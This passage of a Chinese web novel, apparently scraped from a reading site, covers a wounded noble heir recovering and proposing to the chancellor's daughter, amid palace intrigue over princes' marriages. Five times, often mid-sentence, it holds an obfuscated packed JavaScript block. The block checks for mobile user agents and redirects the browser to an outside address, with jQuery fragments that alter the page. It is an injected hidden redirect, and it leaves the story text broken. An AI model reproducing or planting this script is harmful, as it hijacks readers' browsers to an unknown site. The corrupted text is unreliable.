洛云舒站直身子,满腹愧疚:“殿下,对不住,是我太莽撞了。” “无妨。本来就是在教你防身,你做得很好。” 洛云舒感激莫名。 出了这么一档子事儿,倒是把她原先的情绪冲散了不少。 她服侍裴行渊在屏风后的软榻上躺下,回到床上发了会儿呆就睡着了。 再醒来的时候,天色已经大亮。 洛云舒立刻叫过寒霜:“阮府那边有消息吗?” “殿下一直让人留意着。但是到目前为止,还没有顾世子苏醒的消息。” 如今,太医院大半的人都在阮府,可整整一夜过去,顾彦昭还是没有苏醒,可见他伤势之重。 阮清辞虽然一直吐槽顾彦昭,但她到底是个心善之人,眼下顾彦昭为救她重伤,还不知她会内疚自责成什么样子。 思来想去,洛云舒实在是放心不下,就带上寒霜,前往阮府。 她并未声张。 临到阮府门口才让人进去通报。 阮清辞红着眼睛迎了出来,脸上勉强挤出一丝笑容:“云舒,你怎么来了?” 洛云舒握住她的手:“我放心不下你。” 一句话,说的阮清辞落了泪。 她顾不上有下人在场,哭诉道:“他为了救我而受伤,可在他昏迷过去之前,我还在吐槽他。” 洛云舒握紧她的手,言语苍白:“别难过。顾世子吉人自有天相,一定能挺过这一关。” 这时候,阮夫人闻讯而来,立刻行礼:“臣妇不知娘娘驾临,有失远迎……” “阮伯母,您不必多礼。我就是放心不下,来探望清辞。” “云舒,多谢你。烦劳你开导开导清辞,她一夜没睡,一直在哭。” 眼下,阮夫人已经顾不上让阮清辞保持体面了。 虽然,往日里她一直将体面二字挂在嘴边。 洛云舒和阮清辞去了旁边的小花厅。 没有下人在场,阮清辞哭了个痛快,边哭边说道:“从小到大,我一见到他他就调笑我,害得我总想发火,我觉得我是讨厌他,他也讨厌我的。可为了救我,他居然这么豁的出去,连命都顾不上了……” 听阮清辞这么哭着,洛云舒想起一件事来。 第104章 顾彦昭,你要快点好起来 前世,已经做了皇帝的三皇子曾经遭遇过一场极其凶险的刺杀。 那场刺杀,发生在阮清辞被三皇子害死,阮家被灭门之后。 刺杀者一人一骑,面具遮面,在三皇子外出狩猎时出现,将随从悉数斩杀,刺伤了他的腹部,但,没能要得了他的命。 最终,刺杀者被万箭穿心而死。 此事一出,已经是皇帝的三皇子震怒,负责保护三皇子的霍少远受到了重惩,挨了二十大板。 事后,洛云舒听闻那位刺杀者行刺前划花了自己的脸,又用烙铁烫烂了整张脸,所以,最终也没查出他的身份。 只是,在他死后不久,远在西北镇守的肃王世子被马匪所杀,尸骨无存。 原本,洛云舒并未把前世发生的这件事和顾彦昭联系起来。 可这一刻,她几乎可以确定,前世刺杀三皇子的,就是顾彦昭。 行刺前他弄花自己的脸,是不想被人看出自己的身份,怕牵连家人。 所以,顾彦昭大概是对阮清辞有情? 洛云舒只是猜测,并不敢确定,现在也不是说这个的时候。 旁边,阮清辞还在哭诉:“云舒,你说,他会不会死?” 话音出口的瞬间,阮清辞捂住自己的嘴,接连“呸”了三声:“连呸三声,噩运退散,是我口无遮拦。” “太医院的人都在,会尽力救治顾世子的。临走前,我从东宫库房取了几支上好的雪参,你回头拿给太医看看,若用得上,给顾世子用上。” “好,好。”阮清辞连声应着,感激涕零,“云舒,让你费心了。” “说到底,这件事是我的错,我不该让你出门的。” 阮清辞愣住,大大的眼睛凝视着洛云舒,随即板起脸说道:“胡说,这怎么能怪你?事情不是这样说的。如果要这样怪来怪去,只怕到最后,我要怪我娘把我生出来了……” 二人正说着话,明月欢天喜地地跑了过来:“小姐,世子醒了!” 阮清辞慌忙跑出去,跑了几步又回头去拉洛云舒,一起朝着安置顾彦昭的院子而去。 肃王妃去了京郊清修礼佛,并不在京城,故而昨晚阮英杰直接把顾彦昭带回阮府,方便照顾。 这会儿,顾彦昭已经醒了,由着太医给他把脉。 见到阮清辞进来,顾彦昭冲着她挤了一下眼睛,做了个鬼脸。 阮清辞红着眼睛,没忍住,呜哇一声就哭了起来。 顷刻间,阮清辞成了所有人关注的焦点。 这会儿,阮丞相、阮夫人、阮英杰连同一众太医都在,还有伺候的下人,加起来一共二三十号人,都朝着阮清辞看了过来。 被阮清辞拉着手的洛云舒:“……” 另一边,阮丞相、阮夫人连同阮英杰齐齐捂住了眼睛。 顾彦昭咧嘴笑了:“受伤的是我,你哭什么啊?” “世子,给您切脉呢,莫要说话。”一旁的太医急声提醒。 阮清辞哭得惊天动地,说话都带着哭腔:“以后、以后我再也不跟你吵架了。顾彦昭,你可、你可一定要活过来……呜呜呜……” 顾彦昭嘎嘎直笑,像只老鸭子,吓得太医忙按住他的上半身,连声道:“世子,不能笑,不能笑啊……” 见状,洛云舒一把捂住阮清辞的嘴,压低了声音说道:“姑奶奶,可以了。” 阮清辞立刻忍住。 刚才阮清辞的举动太过惊天动地,众人一时没反应过来。 这会儿,阮丞相和一众太医急忙过来给洛云舒行礼。 之后,阮夫人眼疾手快,忙把阮清辞拉了出去。 到了外面,阮夫人恨铁不成钢:“让你稳住稳住,这下可好,脸都丢尽了。” 要知道,阮清辞在外人面前的形象向来是端方贤淑的,这一次,算是彻底改变了形象。 阮清辞打了个哭嗝儿,并不在乎:“母亲,没关系的。反正顾彦昭醒了。” 只要顾彦昭能活过来,她不要这端方贤淑的名声又如何? 她单薄贫瘠的人生里,不想担负一条活生生的人命。 顾彦昭醒了,阮清辞的精神也好了一些,洛云舒起身告辞离开。 送走洛云舒,阮清辞去了顾彦昭休息的卧房。 但,她还没进去,就被阮英杰拦住:“怎么又来了?” “哥哥,我不放心。” 阮英杰狐疑地看了她一眼:“顾彦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671951|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭皮糙肉厚,眼下又已经醒了,你有什么不放心的?” “哥哥,他是为我受伤的,不来看一眼,我于心难安。” “没事。太医说他这阵子要静养,刚才他已经喝了安神药,睡着了。” 然而,阮英杰话音刚落,里面就传来顾彦昭的咳嗽声。 这下,阮清辞什么也顾不得,推开门走了进去。 一进去,就对上顾彦昭大笑的圆脸,他笑得恣意,甚至有些得意:“阮大小姐,这回你不装了?” 阮清辞看着他,带着哭腔道:“你能笑,还能说话,真好。” 天知道昨晚顾彦昭浑身是血晕倒在她身上的时候,她有多慌张。 无论她怎么呼喊怎么摇晃,顾彦昭都没有任何反应。 整整一夜,他都昏迷着。 她以为他会死。 现在好了,他活过来了。 虽然他的嘴还是那么贱,但只要他活过来,她都可以不计较的。 对待自己的救命恩人,要大度。 见阮清辞不还嘴,顾彦昭乐坏了:“哎呀,早知道我就早点救你一命,做你救命恩人了。” 他话音刚落,嘴上就挨了一下。 阮清辞打的。 “这种话不能胡说,你快呸三声。” “我不。”顾彦昭梗直了脖子,倔强得犹如一头小藏獒。 啪! 阮清辞又在他嘴上打了一下,力道不大,但侮辱性十足。 顾彦昭恼了:“我就不……” 眼看着阮清辞的手又挥了过来,顾彦昭急忙改口:“呸呸呸!” 连呸三声,一声都不少。 桀骜不驯的顾世子,就这么——屈服了。 阮英杰站在门口,笑得咬牙切齿。 见状,顾彦昭准备损阮清辞几句,却在这时候听阮清辞软软糯糯地说道:“顾彦昭,你要快点好起来。” 他一转脸,就看到阮清辞看着他,脸上带泪。 美人垂泪,若梨花带雨,惹人心怜。 顾彦昭愣住,表情有些呆。 阮清辞看懵了,忙上前去拍他的脸:“顾彦昭,你怎么了?你别吓我,你可千万别死啊!” 第105章 只有我能欺负她 “你再拍下去,不死也被你拍**。” 听到顾彦昭的声音,阮清辞破涕为笑。 阮英杰只觉得没眼看,走过来把阮清辞拉走,嗔道:“在外男面前哭哭啼啼的,像什么样子?名声不要了?” 阮清辞只顾着哭,没说话。 顾彦昭倒是不乐意了:“这般鲜活生动的,多好,怎么就不要名声了?” 阮英杰瞪他一眼,咬牙切齿的:“你闭嘴。养你的伤吧!” 说完,阮英杰瞥了阮清辞一眼:“瞧你这张脸,跟小花猫一样,赶紧回去梳洗去!” “哦。”阮清辞应了一声,闷闷地往外走。 还不忘回头叮嘱顾彦昭:“你好好躺着养伤。等会儿我给你送药。” “行。”顾彦昭咧嘴笑着,露出两颗好看的小虎牙。 阮清辞这才放心离开。 阮英杰拉了把椅子坐下,双臂环胸,冷冷地盯着顾彦昭:“说说吧,顾兄。” “说什么?”顾彦昭笑嘻嘻的。 “首先我不傻,其次我也不瞎。直说吧,你对我妹妹是个什么心思?” 顾彦昭脸上的笑意敛去,神色郑重:“我想娶她。” 阮英杰惊得直接从椅子上跳起来:“好你个顾彦昭,原来是在这儿等着我呢!我说你平时怎么对我这么殷勤,我还想着是你我兄弟情深!敢情你是看上了我妹妹!” 说着说着,阮英杰恍然大悟:“怪不得你跟着王爷出去巡边,却冷不丁跑了回来。你是不是打听到三殿下有意求娶我妹妹,这才回来的?” “是。”顾彦昭坦然承认。 “你果然是蓄谋已久。” “对。只有我能欺负她,除了我,谁都不能。” “你也不能!”阮英杰瞪着眼强调。 “那是自然的。” 阮英杰重新坐下,盯着顾彦昭看。 把话说开之后,往日的种种也有迹可循。 以往欺负阮清辞的人,都被顾彦昭明里暗里地教训过。 原先阮英杰觉得顾彦昭是爱屋及乌,是因为和他感情好,所以才对妹妹好。 结果到头来,他才是那个乌。 顾彦昭是看上了妹妹,才对他好的。 往日的兄弟情深,全都错付了! 一时之间,阮英杰气得不打一处来,他想揍顾彦昭一顿,奈何顾彦昭现在还身受重伤,只得恨恨道:“等你好了,定要狠狠揍你一顿!” 顾彦昭笑嘻嘻道:“没事的,大舅哥想揍,什么时候都可以。” 阮英杰气得牙都要咬碎了。 偏偏这时候,阮清辞端着药碗进来了。 见阮英杰这个表情,阮清辞忍不住斥责道:“哥哥,你对他客气点,他现在受着伤呢。” 这下,顾彦昭笑得更得意,阮英杰更气了。 他上前接过药碗,闷声道:“你回去吧。这药我喂他喝。” 阮清辞躲过:“不行,你笨手笨脚的,再烫着他就不好了。” “我哪里笨手笨脚了?再说了,你就算是不放心我,总该放心府里的丫鬟吧。我找丫鬟喂他喝药。” 阮清辞看了阮英杰一眼,有些不满:“哥哥,你现在怎么这么刻薄?他救了我,我照顾他一下又怎么了?” “不是,他……” “你说啊,他怎么了?” 阮英杰说不出来。 女孩子的名声最重要。如今肃王府还没来提亲,有些话就不能乱说。 免得传出去,坏了妹妹的名声。 见阮英杰不说话,阮清辞又说道:“哥哥,你也是该娶亲的人了,做事总该稳重一些,总这么冒冒失失的可怎么好?” 阮英杰以手扶额,牙齿咬得咯吱咯吱响。 顾彦昭只是笑:“你来喂我喝药,真是麻烦你了。” “不麻烦。喂你喝药,很简单的。”说着,阮清辞招呼阮英杰,“哥哥,你过来搭把手,拿着药碗。” 于是,阮·喂药工具人·英杰上线。 阮清辞没给谁喂过药,好在她日常弹琴,手足够稳,喂药的时候,药也就没怎么洒。 偶尔有一两滴药汁顺着顾彦昭的嘴角流下来,也被她很快擦去。 顾彦昭很是受用,哪怕是这么苦的药,他也喝得十分爽快。 阮清辞却内疚得厉害:“顾彦昭,往日里是我不好,以后我会对你好点的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671952|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好呀。”顾彦昭笑得见牙不见眼睛。 瞬间,阮英杰咬牙的声音更大了。 这时候,明月进来禀报:“小姐,夫人叫您过去,说是王妃娘娘来了。” 是肃王妃得了信儿,赶回来了。 阮清辞起身,满脸肃穆地走了出去。 顾彦昭在后面喊:“别怕,我母妃不**!” …… 此时,柔仪殿。 “还真是三皇子干的。”洛云舒看着手里的这页纸,难掩愤怒。 三皇子这个人,为了达到目的,还真是无所不用其极。 裴行渊查明,当晚阮清辞**的时候,三皇子就在另外一条街上。 他派了人出手,人又在附近,是想趁着阮清辞命悬一线的时候现身,英雄救美。 当时已经是晚上,他若是救了阮清辞,再将她送回阮府,期间但凡是有个什么亲密的举动,阮清辞就不得不嫁给他。 这时,裴行渊走进来,补充道:“此事,阮英杰也有所察觉。事实上,他那日并非有事,而是故意不在,想要引出刺客。当日,他发现了老三的踪迹,只是当时事出紧急,他没有细查。” 即便没有细查,但已经有所怀疑。 洛云舒问道:“殿下,最近外面有什么和三殿下有关的事吗?” “暂时没有。**和赈灾的事情接连发生,父皇已经免除了他的一切职务,没有将任何事交给他去做。” 如此,也难怪三皇子急着用婚事来巩固自己的地位了。 那么,若想对三皇子有所重创,那么,势必要在他的婚事上做手脚。 洛云舒若有所思。 “别担心,他若是出手,总能找到破绽。” 洛云舒点点头,没有多说。 当日,她在皇后面前得罪了霍贵妃,也一直觉得霍贵妃会出手对付她,可等了这么多日,霍贵妃却很安静,这很不寻常。 或许,霍贵妃是在暗中配合三皇子,想着快些定下他的婚事,不愿在这个时候横生枝节。 可不管怎么样,防人之心不可无。 这时候,知意在外面禀报:“娘娘,棋书姑姑来了,说皇后娘娘请您去翊坤宫一趟。” 第106章 别啊,别让清辞去 “好。”洛云舒应了一声,对着镜子整理了一下妆容,去了翊坤宫。 行礼之后,赵皇后招呼洛云舒在她身边坐下,随手递过一本画册。 “眼下靖隐和烈铮都到了娶妻的年龄,霍贵妃和安嫔屡次提及要为二人早日定下皇子妃。先前本宫忙着你和行渊的婚事,不得空儿,现在倒是有时间处理这个了。你也帮着掌掌眼,看选谁合适。” 靖隐和烈铮,分别是二皇子和三皇子的名讳。 洛云舒接过画册,言辞谦虚:“母后,皇子择妻的规矩,儿媳不大懂,可否请您细说。” “皇子择妻,和寻常人家大体相似。一种是皇子主动求赐婚,就像你和行渊。当然,求赐婚的前提也得是二人两情相悦,不然若是成了怨偶,陛下面子上不好做。另外一种就是举办宴会,到时候诸位娘娘看上谁便是谁。” 听完,洛云舒心里有了思量。 怪不得三皇子没有主动求赐婚,原来赐婚的前提须得是两情相悦。 幸好有这么一条不成文的规矩,不然,还真有可能让三皇子得逞。 “那您是打算办选皇子妃的宴会?” “是有这个打算。既然是选皇子妃,对家世、容貌和品行有一定的要求,届时在宴会上也能看出一二。这是礼部根据本宫的要求呈上来的各家闺秀的画册,你且先翻翻看看。” “是。”洛云舒点点头,开始看画册。 画册的第一张就是阮清辞。 她是丞相之女,首当其冲是排在第一位的。 想到阮清辞,洛云舒的心揪了起来。 出于私心,她不希望阮清辞所嫁非人,更不希望阮清辞重蹈上辈子的覆辙。 好在最近天气炎热,赵皇后打算把选择皇子妃的宴会定在半个月之后。 从翊坤宫回去之后,洛云舒左思右想,还是亲笔给阮夫人写了一封信,让寒霜悄悄地送过去。 她得提醒一下阮夫人。 若是阮清辞参加这次选择皇子妃的宴会,那么,她被三皇子选中的机会是很大的。 毕竟,二皇子的母妃安嫔身份要低一些,若是要选,肯定是霍贵妃先选。 这是个很不利的消息。 另一边,阮夫人得到消息之后,愁得连声长叹。 恰逢阮英杰过来请安,被阮夫人拉着,好一顿絮叨。 听完,阮英杰云淡风轻:“就这?” “这还不算大事?”说着,阮夫人气不过,给了阮英杰一拳头。 她是真发愁。 阮英杰笑道:“母亲,您觉得顾彦昭怎么样?” “顾世子?他人品不行吧。再说了,清辞跟他见面就吵,没办法过日子的。” “母亲,顾世子的人品还是可以的。至于您担心二人会争吵,那不如随我走,自己亲眼去看看。” “看什么?”阮夫人满腹狐疑。 阮英杰神秘一笑:“母亲只管跟着儿子走也就是了。” 等阮夫人跟过去,亲眼看到阮清辞坐在顾彦昭床前给他读话本子,惊得眼睛都瞪大了:“这、这这成何体统啊?” 眼见着阮夫人要进去阻止,阮英杰一把拉住:“母亲,您现在还觉得这二人会日日争吵,没办法过日子吗?” 阮夫人一怔,再次看过去。 从她的角度来看,阮清辞背对着她坐着,声音轻柔,而顾彦昭躺在床上看着阮清辞,满眼都是笑意。 那眼神很温柔,饱含一个男子对女子最深的青睐和满足。 阮夫人心头一震:“莫非顾世子对清辞有意?” “是。” 顷刻间,阮夫人只觉得心头的大石头卸下了。 她把阮英杰拉到院外,细心叮嘱道:“那此事就交给你去办。你探探顾世子的口风,若他有这个意思,就让他们肃王府尽快上门提亲,把这件事定下来。若是没这个意思,我也好再作打算。” 阮英杰轻笑:“母亲这会儿不觉得没规矩了?” 阮夫人瞪他一眼:“眼瞅着宫里就要办选皇子妃的宴会了,这会儿可顾不得那么多了。” 说着,阮夫人不由得咝了一声,按了按嘴角。 没办法,她太着急了,嘴角起了燎泡。 阮英杰看得心疼,忙说道:“母亲快回去歇着吧。这件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681326|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交给儿子来办。” 送走阮夫人,阮英杰迈步进了院子,临进去的时候,在门上敲了敲,轻咳一声:“清辞,该去练琴了。” “不急,我把这页书读完。” “母亲让我来催你。” 阮清辞这才把书放下,叮嘱阮英杰:“哥哥,你接着把这页书读完。他躺在床上百无聊赖,就靠这些故事解闷儿呢。” “放心吧,我读。” 阮清辞这才出去。 等她出去之后,阮英杰拉开椅子,在顾彦昭床前坐下,装模作样地问道:“顾世子,刚才读到哪里了?提醒我一下。” 顾彦昭看了他一眼,兴致全无:“不用读了,不想听。” “你不想听我还不想读呢。唉,我这会儿正为我妹妹的事儿发愁呢。” “清辞怎么了?” 阮英杰就把宫里要办宴会选皇子妃的事情说了出来。 听完,顾彦昭急了:“别啊,别让清辞去!” 阮英杰满面愁容:“礼部已经将画册呈到了皇后娘娘面前,清辞的画像排在第一位。到时候装病或许可以躲避一时,但是若是宫里派太医来查看,很容易露馅,也不妥。” “我娶她!”说着,顾彦昭就去掀身上的薄被,吓得阮英杰一把按住他的手。 “祖宗,你还伤着呢,消停点儿行不行?” “不行,我得回府一趟,让我母妃快点来提亲,得赶紧把事情定下来。不然,我这伤也好不了。” 阮英杰瞪他一眼:“你今天要是这么回去,保准死得透透的。” 太医现在不建议顾彦昭挪动。 不然,肃王妃也不至于把他留在这里。 “那我给我母妃写信。” 说完,顾彦昭招呼人取来纸笔,刷刷刷就开始写。 写完之后即刻就让人送回府,交给肃王妃。 “你都写了什么?”阮英杰问。 顾彦昭嘿嘿一笑:“这你别管。总之你放心,我母妃肯定会以最快的速度赶来的。” 果然,两刻钟后,外面传来肃王妃凄厉的喊声:“儿啊,我的儿啊……” 第107章 看你老娘顶个鸡窝头,满意了? 阮英杰吓得一个激灵,惊愕地看向顾彦昭:“你信上到底写了什么?” 顾彦昭一脸得意:“你就说我母妃来得快不快吧。” 阮英杰顿感无语,立刻迎出去。 还没等他出门,肃王妃已经冲了进来。 她往里冲的时候,头上的首饰陆陆续续地往下掉,噼啪哐啷的声音接连响起。 阮英杰直捏眉心。 这时,已经到了床边的肃王妃爆发出一声炸响:“彦昭,你还活着啊?” “对,活着呢。但是也快**。”顾彦昭躺在床上,有气无力。 “怎的了这是?” 阮英杰还没来得及回答,外面又爆发出一声痛哭。 这一次是阮清辞。 其中,还夹杂着阮夫人的惊呼声。 看来,是肃王妃来的动静太大,把他们二人也给惊动了。 阮清辞是哭着进来的,顶着和肃王妃的同款发型,**躁、散乱,首饰尽失。 她顾不上和肃王妃行礼,只哭着问阮英杰:“这到底是怎么回事啊?刚才不还好好的吗?” 见状,肃王妃急忙道:“人没死,活着呢。” “啊?”阮清辞有点懵。 这时候,顾彦昭笑了笑:“没死,没死呢。” 他看着阮清辞,一脸痴汉笑。 肃王妃气得拧了一下他的耳朵,忙朝着阮清辞笑了笑:“阮大小姐,对不住,都怪这孩子给我写信说他要**,我信以为真,这才慌里慌张地跑过来,闹笑话了。” 说完,她恶狠狠地瞪了顾彦昭一眼,只恨不能找个地缝钻进去。 “哦,没事就好,没事就好。”阮清辞拍着心口,心有余悸。 紧随其后进来的阮夫人这才放了心,一手搭着丫鬟的肩膀,把跑丢了的鞋子穿上。 瞬间,阮英杰捏眉心的力度又加大了。 这平静的阮府,今日可真是太精彩了,鸡飞狗跳的。 等阮清辞反应过来之后,“啊呀”一声,扶着头上的发髻跑走了。 阮夫人也连声喊着失礼,跟肃王妃行过礼之后先行告退,临走还没忘了嘱咐阮英杰招待肃王妃。 肃王妃气得咬牙切齿,打算去隔壁的厢房整理一下,却被顾彦昭拉住了衣服。 “母妃。” 肃王妃低头瞪他:“松手!你个讨债鬼,好端端的干嘛说你要**?我做人这么多年,还没这么失态过!” 这话,肃王妃几乎是吼出来的。 和之前那个温柔和善、仪态万千的肃王妃截然不同。 顾彦昭扁扁嘴,委屈巴巴的:“母妃,儿子虽然没死,但是也快了。” “放屁!把你这张破嘴闭上!”说着,肃王妃红了眼睛。 这么重的伤,伤势没好之前,随时都有可能发生意外。 “母妃,儿子想成亲。” 言辞跨度如此之大,惊得肃王妃摇摇欲坠的发髻彻底散落下来,她一手扶住,不让头发挡住脸,满脸写着疑惑:“这个时候要成亲?” “是,儿子有中意的姑娘了。儿子想娶她。” “是谁?” “清辞,阮清辞。” 肃王妃恍然大悟。 怪不得。 三皇子有意求娶阮清辞的事,她也有所耳闻。 儿子这是着急了。 她沉思片刻,点了头:“好。” 顾彦昭万分惊愕:“母妃,您、您答应了?” “是,答应了。”说着,肃王妃坐下来,把捧在手里的乱发扔到了脑后去,吩咐婢女过来给她梳头。 她也不去厢房了,就在这儿梳。 “母妃,您真的答应了?”顾彦昭似是不相信,再次发问。 肃王妃看向他,再次点了头:“是,答应了。” “那,父王那边?” “他也会答应的。”肃王妃笃定道。 这下,顾彦昭反倒是有点拿不准了:“您和父王不是一直在告诫我不要惹麻烦吗?尤其是我,不能娶高门显贵之女。” 肃王是本朝唯一一个异姓王,正所谓登高易跌重,他最是懂得树大招风的道理,所以一直告诫顾彦昭要低调。 这才让顾彦昭有了纨绔的名声。 更是告诉他,日后不能娶高门之女。 而阮丞相却是百官之首,一人之下,万人之下。 “是这样没错。但既然我儿愿意,娶了又如何?” 一句话,说得顾彦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686599|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭红了眼眶。 他拉过肃王妃的衣服盖在脸上,闷声道:“母妃,儿子努力过了,可儿子还是没办法看着她另嫁他人。而且,想要求娶她的那人根本就配不上她,儿子怕她受苦。” “既然如此,那就娶。我这就回去,找媒人上门提亲,尽早把这件事定下来,也好让你心安。” “嗯!”顾彦昭重重点头。 肃王妃先是笑,又恶狠狠地瞪他:“看你老娘顶个鸡窝头,满意了?” 顾彦昭拿开衣服看肃王妃,圆圆的脸上满是笑意:“即便是顶着鸡窝头,母妃也是天底下最好的母妃。” “就你嘴甜。” 头发简单整理好之后,肃王妃随口问道:“阮大小姐也中意你吗?” 顾彦昭一怔,这才想起,他还没跟阮清辞捅破这层窗户纸呢。 也不知她愿不愿意。 随后,顾彦昭一脸期待地看向阮英杰。 阮英杰看着他,不发一言。 他们阮府素来守礼,一切都规规矩矩的,还不曾如此乱过。 见状,肃王妃还有什么不明白的? 她瞪了顾彦昭一眼,嗔道:“你啊,都到了娶妻的年纪了,还这么冒冒失失的。提亲之前,总得跟阮大小姐透个口风,免得出什么岔子。” “是这个道理没错。”顾彦昭咬咬牙,躺在床上朝着阮英杰抱了抱拳,“英杰兄,可否请阮大小姐来一趟?” 阮英杰还了礼,闷声道:“我妹妹现在应该在梳妆吧。” “怪我,是我冒失了。烦请英杰兄过去说一声,我等着。” “好。”阮英杰应了一声,无声叹气。 虽然这样不合乎礼节,但是今天实在是太乱了,既然如此,那就彻底乱到底吧。 没多久,梳妆已毕的阮清辞款款走了进来。 这时候的她妆容明艳,笑容温婉,俨然是世家小姐一贯的做派。 顾彦昭彻底愣住,心底滚动着千言万语,却什么都说不出来。 这会儿,肃王妃和阮英杰已经避开,房间里只有顾彦昭和阮清辞二人。 阮清辞疑惑道:“我哥说你有话跟我说,要说什么?” 顾彦昭一时语结:“清辞,我……” 第108章 我愿为你舍命 顾彦昭看着阮清辞,想说的话却说不出来。 该说什么呢? 说他小时候就被她吸引,但凡是她在场,他什么事情都做不进去。 还是说他的目光总是黏在她的身上,他很想客客气气地跟她说话,可情急之下,总会说错话。 抑或是说他总不喜欢她套在高门贵女的壳子里,就连笑容都像是量好了尺寸似的。他希望她开心时能自在地笑,难过时能毫无顾忌地哭。 他希望她过得真实,无忧无虑。 可这些,好像统统都说不出口。 有男女大防在,这样的话他但凡说出一个字,都是对她的亵渎和冒犯。 最终,他什么都说不出来,只看着她憋出一句话:“清辞,我愿为你舍命。” 很突兀的一句话。 阮清辞晃了晃神,安慰他:“别这样。太医说了,你不会有事的。” “我是想说,我这条命是你的。” 阮清辞点点头:“我明白。我欠你一条命。” 顾彦昭急了:“我不是这个意思。” “那你是什么意思?”阮清辞看着他,似有不解。 顾彦昭看着她,一股无言的勇气油然而生:“我想娶你。” 话音落下,房间内落针可闻。 越来越清晰的,是顾彦昭如鼓的心跳声。 阮清辞好半天才找回自己的理智,她有点困惑:“你不是很讨厌我吗?” 以往每次见她,顾彦昭总是奚落她,挑她的毛病,就好像在他的眼里,她是个一无是处的人一样。 可现在,顾彦昭竟然说要娶她。该不会是在戏弄她吧? “不是的!”顾彦昭急忙澄清,“我从来都不曾讨厌你!” “你说我笑得很假。” “那是因为我希望你想笑的时候再笑,不想笑的时候千万不要勉强。” “你说我妆容丑。” “不丑。是我见了你总紧张,口不择言。” “你还说我黑。” “没有,你不黑,你最白了。是我黑,我最黑。” 阮清辞没忍住,噗嗤一下笑出了声。 笑完之后,抬头看到顾彦昭在看她,阮清辞起身就走。 “哎,别走啊!” “不走干嘛?”阮清辞回头看他,嘴唇微微嘟起。 “你愿不愿意嫁我?” “让你家里人来提亲。”说完这句话,阮清辞的脸彻底红了。 她捂着脸,跑走了。 …… 两天后,洛云舒听到了顾彦昭和阮清辞定亲的消息。 听到消息的瞬间,洛云舒哑然失笑。 她实在是没料到,肃王府的动作居然这么快。 与此同时,海云澜的信也送到了洛云舒手里。 在信里,海云澜急得跟什么似的,疯狂发问,想知道阮清辞为何这么快就定亲了,事先完全没有听到任何风声! 看这信里的语气,若不是临近婚期不能出门,海云澜这会儿人已经在东宫了。 关于阮清辞的婚事,洛云舒虽然知道一些,但都只是猜测。 没办法,为了满足海云澜的好奇心,洛云舒准备下个帖子,请阮清辞来一趟,也好当面问清楚。 这次,洛云舒还让寒霜带着东宫的人同去,要保证阮清辞的安全。 谁知,她刚布置下去,人还没走呢,阮清辞自己就来了。 看到她,洛云舒满脸是笑。 阮清辞自己也笑,解释自己的来意:“我突然定亲,想必你十分好奇,所以,我就来了,想着跟你说一说。” 好姐妹之间,要分享彼此的秘密。 “是,我的确是很好奇。你再不来,寒霜就去请你了。” 阮清辞笑着坐下,把事情的全部过程说了一遍。 说到她跑掉满头头饰的事,她自己都没忍住,笑了。 “那你中意顾世子吗?” “他嘛,还不错。”说着,阮清辞脸上带了笑,“至少,鼻子是鼻子,眼睛是眼睛的。” 洛云舒瞥她一眼:“有谁鼻子不是鼻子,眼睛不是眼睛的吗?” 阮清辞笑容烂漫:“至少,我看他还算顺眼。” “以前不是很讨厌他吗?” “他救了我的命。”阮清辞脸上的笑容渐渐敛去,“云舒,事情发生之后,我就在问自己,如果让我自己冒着丢掉性命的危险去救另一个人,我有没有这个勇气。我思来想去,心里没有答案。可顾彦昭他做到了,那么疼那么疼的事情,他居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 